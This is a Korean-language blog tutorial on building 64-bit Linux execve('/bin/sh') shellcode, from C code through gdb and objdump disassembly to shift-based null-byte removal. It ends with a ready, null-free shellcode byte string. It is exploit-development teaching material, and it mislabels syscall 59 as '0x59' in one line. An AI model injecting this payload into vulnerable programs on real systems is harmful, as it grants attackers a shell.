64bit Linux Execve Shell Code 만들기

오늘은 64비트 쉘코드에 대한 이야기를 할까 합니다. 예전에 이쪽 분야 관심을 가졌을 초반 쯤에 32bit에 대한 쉘코드를 만들고 사용했었지만 지금은 일 특성상 딱히 쉘코드를 사용할 일이 굉장히 적어졌기에 간만에 보는 느낌입니다.

일단 32bit나 64bit나 직접 assembly 코드를 짜거나, C에서 변환하는 식으로 하는것이 좋습니다.

Write test code

어디에서나 볼 수 있는 매우 간단한 execve를 활요하는 명령 실행 코드를 작성합니다. 어차피 system 함수나 뭘 쓰던 결국은 execve를 통해 시스템 콜을 요청하기 때문에 그냥 바로 execve로 하는게 쉽습니다.

#include <stdlib.h>

int main()
{
    execve("/bin/sh",NULL,NULL);
}

매우 간단합니다. 그냥 execve 함수를 통해 /bin/sh를 실행하라고 하는 코드입니다.

Disassembling 하여 Assembly Code 확인하기

해당 코드를 gdb로 disassemble 하여 main 함수를 보면 다음과 같습니다.

(gdb) disas main
Dump of assembler code for function main:
   0x000000000040050c <+0>:    push   %rbp
   0x000000000040050d <+1>:    mov    %rsp,%rbp
   0x0000000000400510 <+4>:    mov    $0x0,%edx
   0x0000000000400515 <+9>:    mov    $0x0,%esi
   0x000000000040051a <+14>:    mov    $0x4005dc,%edi
   0x000000000040051f <+19>:    callq  0x4003f0 <execve@plt>
   0x0000000000400524 <+24>:    pop    %rbp
   0x0000000000400525 <+25>:    retq  
End of assembler dump.
0x000000000040050c <+0>:    push   %rbp
0x000000000040050d <+1>:    mov    %rsp,%rbp
이 부분은 함수 프롤로그(시작) 부분과 같고, 

0x0000000000400510 <+4>:    mov    $0x0,%edx
0x0000000000400515 <+9>:    mov    $0x0,%esi
0x000000000040051a <+14>:    mov    $0x4005dc,%edi
이 부분이 우리가 함수를 사용하는 부분 중 인자값에 관련된 부분이 됩니다.

edx, esi에 0x0(NULL)으로 값을 세팅하고 edi에 0x4005dc를 세팅합니다. 0x4005dc는 명령으로 확인해보면 “/bin/sh”인 것을 알 수 있습니다.

(gdb) x/s 0x4005dc
0x4005dc:     "/bin/sh"

그리고 세팅된 인자값을 가지고 execve를 call합니다.

0x000000000040051f <+19>:    callq  0x4003f0 <execve@plt>

execve는 시스템콜을 이용하여 호출할 수 있고 32비트는 11(0xb), 64비트는 59(0x59)로 정의되어 있습니다. 여기서 우리가 필요한 부분은 인자값을 넣고 함수를 실행하는 부분인데요.

mov    $0x0,%edx
mov    $0x0,%esi
mov    $0x4005dc,%edi
mov    $59, $rax
syscall

이런식으로 가면 인자값을 넣고 함수 실행이 가능할 것으로 보입니다. 이 내용을 바탕으로 assem 코드를 작성하면 아래와 같은 모양이 나오겠지요.

Assembly Code 작성하기

아까 위에서 gdb를 통해서 확인한 데이터를 가지고 Assembly 코드를 작성합니다.

.section .data

name: .string "/bin/sh"

.section .text
.global _start

_start:

pushq $0     ;
pushq name   ; 

movq $59, %rax ; 
movq %rsp, %rdi ; 
movq $0, %rsi
movq $0, %rdx ;
syscall 

여기서 data section에 name이란 이름으로 /bin/sh를 넣어두고

.section .data

name: .string "/bin/sh"

rax에 시스템콜 넘버를 세팅하고, 나머지 자리에 인수를 세팅한 후

movq $59, %rax ; 
movq %rsp, %rdi ; 
movq $0, %rsi
movq $0, %rdx ;
syscall

syscall을 이용하여 명령을 실행합니다.

as -o shell.o shell.s
ld -o shell shell.o 

실행파일로 만들어서 실행해보면 /bin/sh가 실행됨을 확인할 수 있습니다.

./shell 
# echo "This is /bin/sh"
This is /bin/sh

일단 Assembly 코드를 이용해 다시 컴파일 하고 실행하여서 /bin/sh가 실행되는것으로 보아 문제없이 잘 작성한 것으로 보이네요.

Objdump를 이용하여 기계어 확인하기

분석에서도 많이 사용되는 objdump를 이용해서 Assembly를 이용해 만든 실행파일을 까서 봅니다. -d 옵션으로 볼 수 있습니다.

objdump shell -d
shell:     file format elf64-x86-64

Disassembly of section .text:

00000000004000b0 <_start>:
  4000b0:    6a 00                    pushq  $0x0
  4000b2:    ff 34 25 d4 00 60 00     pushq  0x6000d4
  4000b9:    48 c7 c0 3b 00 00 00     mov    $0x3b,%rax
  4000c0:    48 89 e7                 mov    %rsp,%rdi
  4000c3:    48 c7 c6 00 00 00 00     mov    $0x0,%rsi
  4000ca:    48 c7 c2 00 00 00 00     mov    $0x0,%rdx
  4000d1:    0f 05                    syscall 

일단 여기까지 확인한 데이터로 쉘코드로 사용이 가능은 합니다만. strcpy 같이 문자열을 처리하는 함수중에 0x00을 만났을 시 끝 부분으로 인지하는 함수들이 많습니다. 그래서 좋은 쉘코드 작성을 위해서는 Null Byte(0x00)에 대한 제거가 필요합니다.

Null Byte 제거하기

여러번의 테스트를 위해서 그냥 컴파일 과정+objdump까지 한 명령행으로 묶어 사용하면 조금 편합니다.

as -o shell.o shell.s;ld -o shell shell.o;objdump -d shell
.section .data

name: .string "/bin/sh"

.section .text
.global _start

_start:

pushq name   
movq $59, %rax 
mov %rsp, %rdi 
movq $0, %rsi
movq $0, %rdx 
syscall

일단 굳이 필요없는 부분은 제거해도 될 것 같아 테스트하면서 좀 지워봤습니다. 일단 execve가 인자값이 3개로 넣어줬는데, 사실 이거 한개로도 동작이 가능하기 때문이죠. rax에 system call number를 넘겨주고 인자값 하나에만 명령행을 넘겨줘도 일단 동작은 가능합니다.

cat shell.s
.section .data

name: .string "/bin/sh"

.section .text
.global _start

_start:

pushq name   
movq $59, %rax 
mov %rsp, %rdi 
#movq $0, %rsi
#movq $0, %rdx 
syscall
as -o shell.o shell.s;ld -o shell shell.o;objdump -d shell
shell:     file format elf64-x86-64

Disassembly of section .text:

00000000004000b0 <_start>:
  4000b0:    ff 34 25 c4 00 60 00     pushq  0x6000c4
  4000b7:    48 c7 c0 3b 00 00 00     mov    $0x3b,%rax
  4000be:    48 89 e7                 mov    %rsp,%rdi
  4000c1:    0f 05                    syscall 
./shell 
# exit

코드길이가 쬐끔 줄었네요. 실행했을때도 별 이상이 없습니다. 이제 Null byte의 위치를 보면 pushq 랑 2번째 mov에서 발생 합니다. 32bit는 xor로 가능하지만.. 64bit에서는 안타깝게도 불가능합니다.

xor %eax, %eax
movb 0xb, %al

해결을 위해서 여러가지 자료를 찾아봤습니다. 찾아보니 shift 연산을 이용하서 64bit에서도 null을 제거할 수 있는 방법이 있더군요.

cat shell.s
.section .data

name: .string "/bin/sh"

.section .text
.global _start

_start:
# pushq name
# string Null byte remove
movabs $0x1168732f6e69622f, %rbx
shl $0x08, %rbx
shr $0x08, %rbx
push %rbx

# movq $59, %rax
# rax(system call) Null Byte remove
movq $0x1111113b, %rax 
mov %rsp, %rdi 
shl $0x38, %rax
shr $0x38, %rax
syscall

Null이 발생하던 /bin/sh를 꺼내어 넣는부분과, eax에 system call을 주는 부분을 위와 같이 shift 연산을 통해 null이 없는 형태로 구현할 수 있습니다. 이에 대한 자세한 내용은 이 링크를 참고해주세요.

아까 테스트를 위해 사용하던 명령으로 컴파일 및 objdump로 확인을 하면

as -o shell.o shell.s;ld -o shell shell.o;objdump -d shell
shell:     file format elf64-x86-64

Disassembly of section .text:

00000000004000b0 <_start>:
  4000b0:    48 bb 2f 62 69 6e 2f     movabs $0x1168732f6e69622f,%rbx
  4000b7:    73 68 11 
  4000ba:    48 c1 e3 08              shl    $0x8,%rbx
  4000be:    48 c1 eb 08              shr    $0x8,%rbx
  4000c2:    53                       push   %rbx
  4000c3:    48 c7 c0 3b 11 11 11     mov    $0x1111113b,%rax
  4000ca:    48 89 e7                 mov    %rsp,%rdi
  4000cd:    48 c1 e0 38              shl    $0x38,%rax
  4000d1:    48 c1 e8 38              shr    $0x38,%rax
  4000d5:    0f 05                    syscall 

Null Byte가 사라진 것을 알 수 있습니다. 정상 구동이 되는지 테스트를 해보면 /bin/sh이 실행되는 것을 확인할 수 있습니다.

./shell 
# ls
# shell  shell.o    shell.s

이제 objdump로 보인 데이터를 shell code로 만들 시간이네요. 저 데이터를 순서대로 써주어 하나의 문자열을 만들면 됩니다. 처음엔 직접하는게 좋겠지만.. 점점 귀찮기 때문에 nasm과 hexdump로 쉽게 뽑아낼 수 있습니다.

길지 않으니 !표로 나누어 쓰고 대부분 텍스트에디터 기능에 있는 찾아 바꾸기 기능을 이용해서 \x로 바꿔주면 편합니다.

!48!bb!2f!62!69!6e!2f!73!68!11!48!c1!e3!08!48!c1!eb!08!53!48!c7!c0!3b!11!11!11!48!89!e7!48!c1!e0!38!48!c1!e8!38!0f!05

! to \x

\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\xc7\xc0\x3b\x11\x11\x11\x48\x89\xe7\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05

32bit랑은 다른 부분이 있기에 알아두면 좋을 것 같습니다 :D

Reference